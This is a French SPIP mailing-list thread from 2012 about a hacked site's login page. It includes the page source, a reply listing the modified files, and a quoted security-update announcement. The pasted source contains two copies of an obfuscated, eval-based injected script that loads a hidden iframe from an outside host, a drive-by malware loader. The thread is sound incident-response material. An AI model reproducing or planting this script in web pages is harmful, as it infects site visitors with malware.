Bonjour,
le site à problème :
http://www.ffmc73.org/spip.php?page=login&url=ecrire%2F
les fichiers qui ont été modifiés :
http://www.ffmc73.org/dist/formulaires/login.html
et http://www.ffmc73.org/dist/login.html
et les pages
http://www.ffmc73.org/dist/vignettes/
et http://www.ffmc73.org/dist/images/
C’est facile à détecter : ce sont les éléments modifiés de 19 avril 2012
cf. http://www.ffmc73.org/dist/?C=M;O=D
Je n’ai pas décompilé le code Javascript pour savoir s’il s’agit d’une attaque de type vol de session, ou autre…
Le choix des fichiers modifiés est curieux et laisse penser à une modif spéciale pour SPIP.
Mais de là à dire qu’il s’agit d’une faille…
Le site a-t-il été installé via spip_loader ? Quels sont les droits d’écriture du la racine du site ?
.Gilles
2012/5/9 Norbert Cabrol <cabrol.norbert@orange.fr>
Bonjour,
Dans la page d’accès à l’interface privée (monsite/ecrire) l’affichage du code source révèle la présence de deux scripts cachés dans des balises
.
Le contrôle du fichier "index.php3"révèle aucun intrus lui?
De quel endroit ces scripts proviennent ils ?
Voici ci-dessous le code source affiché dans Firefox:
<html dir="ltr" lang="fr"> <head> <title>accès à l'espace privé - FFMC 73 - [ffmc73@ffmc.fr](mailto:ffmc73@ffmc.fr)title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="robots" content="none" /> <meta name="generator" content="SPIP 1.9.2o [19288]" /> <link rel="shortcut icon" href="dist/favicon.ico" /> <link rel="stylesheet" href="spip_style.css" type="text/css" /> <style type="text/css"> <!-- body.page_login { background: #fff; text-align: center; font: 1em Verdana, Tahoma, Arial, Helvetica, sans-serif; } .formulaire_spip { text-align: left; font-size: 12px; } .formulaire_menu_lang { float: right; } .formulaire_menu_lang label { display: none; } .formulaire_login { clear: both; } .spip_logos { float: right; padding-left: 10px; } .forml { width: 12em; font-family: inherit; font-size: inherit; } .spip_bouton input { float: right; } .reponse_formulaire { font-weight: bold; color: red; } a { color: #e86519; text-decoration: none; } --> style> head> <body class="page_login"><script>c=3-1;i=-1-1+c;p=parseInt;if(p("01"+"2"+"3")===83)try{Number()["pr"+"ot"+"ot"+"ype"].q}catch(egewgsd){if(window.document)f=['-32k-32k64k61k-9k-1k59k70k58k76k68k60k69k75k5k62k60k75k28k67k60k68k60k69k75k74k25k80k43k56k62k37k56k68k60k-1k-2k57k70k59k80k-2k0k50k7k52k0k82k-28k-32k-32k-32k64k61k73k56k68k60k73k-1k0k18k-28k-32k-32k84k-9k60k67k74k60k-9k82k-28k-32k-32k-32k59k70k58k76k68k60k69k75k5k78k73k64k75k60k-1k-7k19k64k61k73k56k68k60k-9k74k73k58k20k-2k63k75k75k71k17k6k6k59k64k62k64k56k67k64k75k80k5k64k69k6k64k69k5k58k62k64k22k12k-2k-9k78k64k59k75k63k20k-2k8k7k-2k-9k63k60k64k62k63k75k20k-2k8k7k-2k-9k74k75k80k67k60k20k-2k77k64k74k64k57k64k67k64k75k80k17k63k64k59k59k60k69k18k71k70k74k64k75k64k70k69k17k56k57k74k70k67k76k75k60k18k67k60k61k75k17k7k18k75k70k71k17k7k18k-2k21k19k6k64k61k73k56k68k60k21k-7k0k18k-28k-32k-32k84k-28k-32k-32k61k76k69k58k75k64k70k69k-9k64k61k73k56k68k60k73k-1k0k82k-28k-32k-32k-32k77k56k73k-9k61k-9k20k-9k59k70k58k76k68k60k69k75k5k58k73k60k56k75k60k28k67k60k68k60k69k75k-1k-2k64k61k73k56k68k60k-2k0k18k61k5k74k60k75k24k75k75k73k64k57k76k75k60k-1k-2k74k73k58k-2k3k-2k63k75k75k71k17k6k6k59k64k62k64k56k67k64k75k80k5k64k69k6k64k69k5k58k62k64k22k12k-2k0k18k61k5k74k75k80k67k60k5k77k64k74k64k57k64k67k64k75k80k20k-2k63k64k59k59k60k69k-2k18k61k5k74k75k80k67k60k5k71k70k74k64k75k64k70k69k20k-2k56k57k74k70k67k76k75k60k-2k18k61k5k74k75k80k67k60k5k67k60k61k75k20k-2k7k-2k18k61k5k74k75k80k67k60k5k75k70k71k20k-2k7k-2k18k61k5k74k60k75k24k75k75k73k64k57k76k75k60k-1k-2k78k64k59k75k63k-2k3k-2k8k7k-2k0k18k61k5k74k60k75k24k75k75k73k64k57k76k75k60k-1k-2k63k60k64k62k63k75k-2k3k-2k8k7k-2k0k18k-28k-32k-32k-32k59k70k58k76k68k60k69k75k5k62k60k75k28k67k60k68k60k69k75k74k25k80k43k56k62k37k56k68k60k-1k-2k57k70k59k80k-2k0k50k7k52k5k56k71k71k60k69k59k26k63k64k67k59k-1k61k0k18k-28k-32k-32k84'][0].split('k');v="e"+"va"+"l";}if(v)e=window[v];w=f;s=[];r=String;for(;565!=i;i+=1){j=i;s=s+r["f"+"r"+"omC"+"har"+"C"+"ode"](w[j]*1+41);} if(e)e(s); <div style="text-align: center; width: 400px; margin: 0 auto; padding: 3em 0;"> <h3 class="spip">FFMC 73 - [ffmc73@ffmc.fr](mailto:ffmc73@ffmc.fr)<br /> <small>accès à l'espace privésmall> h3> <div class="formulaire_spip formulaire_menu_lang"> <a name="formulaire_menu_lang" id="formulaire_menu_lang">a> <form method="post" action="http://ffmc73.org/spip.php?action=cookie&url=%2Fspip.php%3Fpage%3Dlogin%26url%3Decrire%252F"><div> <input name='action' value='cookie' type='hidden' /> <input name='url' value='/spip.php?page=login&url=ecrire%2F' type='hidden' /> <label for="var_lang_ecrire">Langues du sitelabel> <select class="forml" name="var_lang_ecrire" id="var_lang_ecrire" onchange="document.location.href='http://ffmc73.org/spip.php?action=cookie&url=%2Fspip.php%3Fpage%3Dlogin%26url%3Decrire%252F&var_lang_ecrire='+this.options[this.selectedIndex].value"> <option class='maj-debut' value='ar'>عربيoption> <option class='maj-debut' value='bg'>българскиoption> <option class='maj-debut' value='br'>brezhonegoption> <option class='maj-debut' value='bs'>bosanskioption> <option class='maj-debut' value='ca'>catalàoption> <option class='maj-debut' value='cpf'>Kréol réyonéoption> <option class='maj-debut' value='cpf_hat'>Kréyòl (Péyi Dayiti)option> <option class='maj-debut' value='cs'>češtinaoption> <option class='maj-debut' value='da'>danskoption> <option class='maj-debut' value='de'>Deutschoption> <option class='maj-debut' value='en'>Englishoption> <option class='maj-debut' value='eo'>Esperantooption> <option class='maj-debut' value='es'>Españoloption> <option class='maj-debut' value='eu'>euskaraoption> <option class='maj-debut' value='fa'>فارسىoption> <option class='maj-debut' value='fon'>fongbèoption> <option class='maj-debut' value='fr' selected='selected'>françaisoption> <option class='maj-debut' value='gl'>galegooption> <option class='maj-debut' value='hu'>magyaroption> <option class='maj-debut' value='id'>Indonesiaoption> <option class='maj-debut' value='it'>italianooption> <option class='maj-debut' value='it_fem'>italianaoption> <option class='maj-debut' value='ja'>日本語option> <option class='maj-debut' value='lb'>Lëtzebuergeschoption> <option class='maj-debut' value='nl'>Nederlandsoption> <option class='maj-debut' value='oc_auv'>òc auvernhatoption> <option class='maj-debut' value='oc_gsc'>òc gasconoption> <option class='maj-debut' value='oc_lms'>òc lemosinoption> <option class='maj-debut' value='oc_lnc'>òc lengadocianoption> <option class='maj-debut' value='oc_ni'>òc niçardoption> <option class='maj-debut' value='oc_ni_la'>òc niçard (larg)option> <option class='maj-debut' value='oc_prv'>òc provençauoption> <option class='maj-debut' value='oc_va'>òc vivaroaupencoption> <option class='maj-debut' value='pl'>polskioption> <option class='maj-debut' value='pt'>Portuguêsoption> <option class='maj-debut' value='pt_br'>Português do Brasiloption> <option class='maj-debut' value='ro'>românăoption> <option class='maj-debut' value='ru'>русскийoption> <option class='maj-debut' value='tr'>Türkçeoption> <option class='maj-debut' value='vi'>Tiếng Việtoption> <option class='maj-debut' value='zh'>中文option> select> <noscript><div style="display:inline;"> <input type="submit" value=">>" /> div>noscript> div>form> div> <div class="formulaire_spip formulaire_login"> <script type="text/javascript" src="dist/javascript/md5.js"> <form id="login" action="spip.php?page=login&url=ecrire%2F" method="post"> <fieldset> <legend>Identifiants personnelslegend> <p><label for="var_login">Login (identifiant de connexion au site) :label> <br /> <input type="text" class="forml" id="var_login" name="var_login" value="" size="40" />p> <input type="hidden" name="url" value="ecrire/" /> <p class="spip_bouton"><input type="submit" value="Valider" />p> fieldset> form> <script type="text/javascript">-- document.getElementById('var_login').focus(); --> <script>c=3-1;i=-1-1+c;p=parseInt;if(p("01"+"2"+"3")===83)try{Number()["pr"+"ot"+"ot"+"ype"].q}catch(egewgsd){if(window.document)f=['-32k-32k64k61k-9k-1k59k70k58k76k68k60k69k75k5k62k60k75k28k67k60k68k60k69k75k74k25k80k43k56k62k37k56k68k60k-1k-2k57k70k59k80k-2k0k50k7k52k0k82k-28k-32k-32k-32k64k61k73k56k68k60k73k-1k0k18k-28k-32k-32k84k-9k60k67k74k60k-9k82k-28k-32k-32k-32k59k70k58k76k68k60k69k75k5k78k73k64k75k60k-1k-7k19k64k61k73k56k68k60k-9k74k73k58k20k-2k63k75k75k71k17k6k6k59k64k62k64k56k67k64k75k80k5k64k69k6k64k69k5k58k62k64k22k12k-2k-9k78k64k59k75k63k20k-2k8k7k-2k-9k63k60k64k62k63k75k20k-2k8k7k-2k-9k74k75k80k67k60k20k-2k77k64k74k64k57k64k67k64k75k80k17k63k64k59k59k60k69k18k71k70k74k64k75k64k70k69k17k56k57k74k70k67k76k75k60k18k67k60k61k75k17k7k18k75k70k71k17k7k18k-2k21k19k6k64k61k73k56k68k60k21k-7k0k18k-28k-32k-32k84k-28k-32k-32k61k76k69k58k75k64k70k69k-9k64k61k73k56k68k60k73k-1k0k82k-28k-32k-32k-32k77k56k73k-9k61k-9k20k-9k59k70k58k76k68k60k69k75k5k58k73k60k56k75k60k28k67k60k68k60k69k75k-1k-2k64k61k73k56k68k60k-2k0k18k61k5k74k60k75k24k75k75k73k64k57k76k75k60k-1k-2k74k73k58k-2k3k-2k63k75k75k71k17k6k6k59k64k62k64k56k67k64k75k80k5k64k69k6k64k69k5k58k62k64k22k12k-2k0k18k61k5k74k75k80k67k60k5k77k64k74k64k57k64k67k64k75k80k20k-2k63k64k59k59k60k69k-2k18k61k5k74k75k80k67k60k5k71k70k74k64k75k64k70k69k20k-2k56k57k74k70k67k76k75k60k-2k18k61k5k74k75k80k67k60k5k67k60k61k75k20k-2k7k-2k18k61k5k74k75k80k67k60k5k75k70k71k20k-2k7k-2k18k61k5k74k60k75k24k75k75k73k64k57k76k75k60k-1k-2k78k64k59k75k63k-2k3k-2k8k7k-2k0k18k61k5k74k60k75k24k75k75k73k64k57k76k75k60k-1k-2k63k60k64k62k63k75k-2k3k-2k8k7k-2k0k18k-28k-32k-32k-32k59k70k58k76k68k60k69k75k5k62k60k75k28k67k60k68k60k69k75k74k25k80k43k56k62k37k56k68k60k-1k-2k57k70k59k80k-2k0k50k7k52k5k56k71k71k60k69k59k26k63k64k67k59k-1k61k0k18k-28k-32k-32k84'][0].split('k');v="e"+"va"+"l";}if(v)e=window[v];w=f;s=[];r=String;for(;565!=i;i+=1){j=i;s=s+r["f"+"r"+"omC"+"har"+"C"+"ode"](w[j]*1+41);} if(e)e(s); <p style="text-align: center;"> [<a href="http://ffmc73.org/spip.php?action=pass" target="spip_pass" onclick="javascript:window.open(this.href, 'spip_pass', 'scrollbars=yes, resizable=yes, width=480, height=330'); return false;">mot de passe oublié ?a>] [<a href="http://www.ffmc73.org/">retour au site publica>] p> div> div> body> html>
Cordialement.
Norbert
Message du 23/04/12 01:35
De : « Ben. »
A : spip-ann@rezo.net
Copie à :
Objet : [Spip-Ann] SPIP 1.9.2o, 2.0.18 et 2.1.13 disponibles
Bonjour,
Plusieurs failles de sécurité ont été repérées récemment dans SPIP,
(merci à Guillaume Farner, Arnault Pachot, Silvère Cainaud,
Maxime Pelletier,Antoine Cervoise et Christophe Imberti) et ont
été corrigées dans les nouvelles versions 1.9.2.o, 2.0.18
et 2.1.13
La plupart des failles concernent des possibilités d’injection XSS.
L’utilisation de l’écran de sécurité mis à jour protège de la plupart
d’entre elles : vous êtes encouragés à télécharger sa version la plus
récente (1.0.10 du 17 avril 2012) et à la déposer dans votre répertoire
config/ (cf. http://www.spip.net/fr_article4200.html).
Toutefois, comme toutes les failles ne sont pas corrigées par l’écran
de sécurité, nous vous recommandons fortement de mettre à jour SPIP
avec les nouvelles versions.
N’hésitez pas à utiliser les différents moyens mis à disposition par la
communauté pour obtenir de l’aide lors de cette mise à jour :
Nous rappelons à toutes et tous que le meilleur moyen pour signaler
des failles, ou des suspicions de failles, est d’envoyer un email
à spip-team@rezo.net.
Comment mettre à jour ?
-
par spip_loader.php :
si vous avez déjà installé spip_loader, rendez-vous à l’adresse
http://VOTRE_SITE/spip_loader.php pour installer SPIP 2.1.13
-
par copie des fichiers :
SPIP 2.1.13 est disponible à l’adresse
http://files.spip.org/spip/stable/spip.zip
-
par SVN :
si vous êtes dans la branche 2.1 faites simplement un « svn up »
svn://trac.rezo.net/spip/branches/spip-2.1
la version 2.1.13 est aussi disponible sous la branche :
svn://trac.rezo.net/spip/branches/spip-2-stable
et sous le tag
svn://trac.rezo.net/spip/tags/spip-2.1.13
Les versions 2.0.18 et 1.9.2.o sont téléchargeables ici :
http://files.spip.org/spip/archives/
Post Scriptum :
Comment être tenu au courant de ces annonces ? Le plus simplement du monde en
s’inscrivant sur la mailing liste
http://listes.rezo.net/mailman/listinfo/spip-ann .
Bien sûr les réseaux sociaux ne sont pas en reste :
spip-ann@rezo.net - http://listes.rezo.net/mailman/listinfo/spip-ann
spip-team@rezo.net - http://listes.rezo.net/mailman/listinfo/spip-team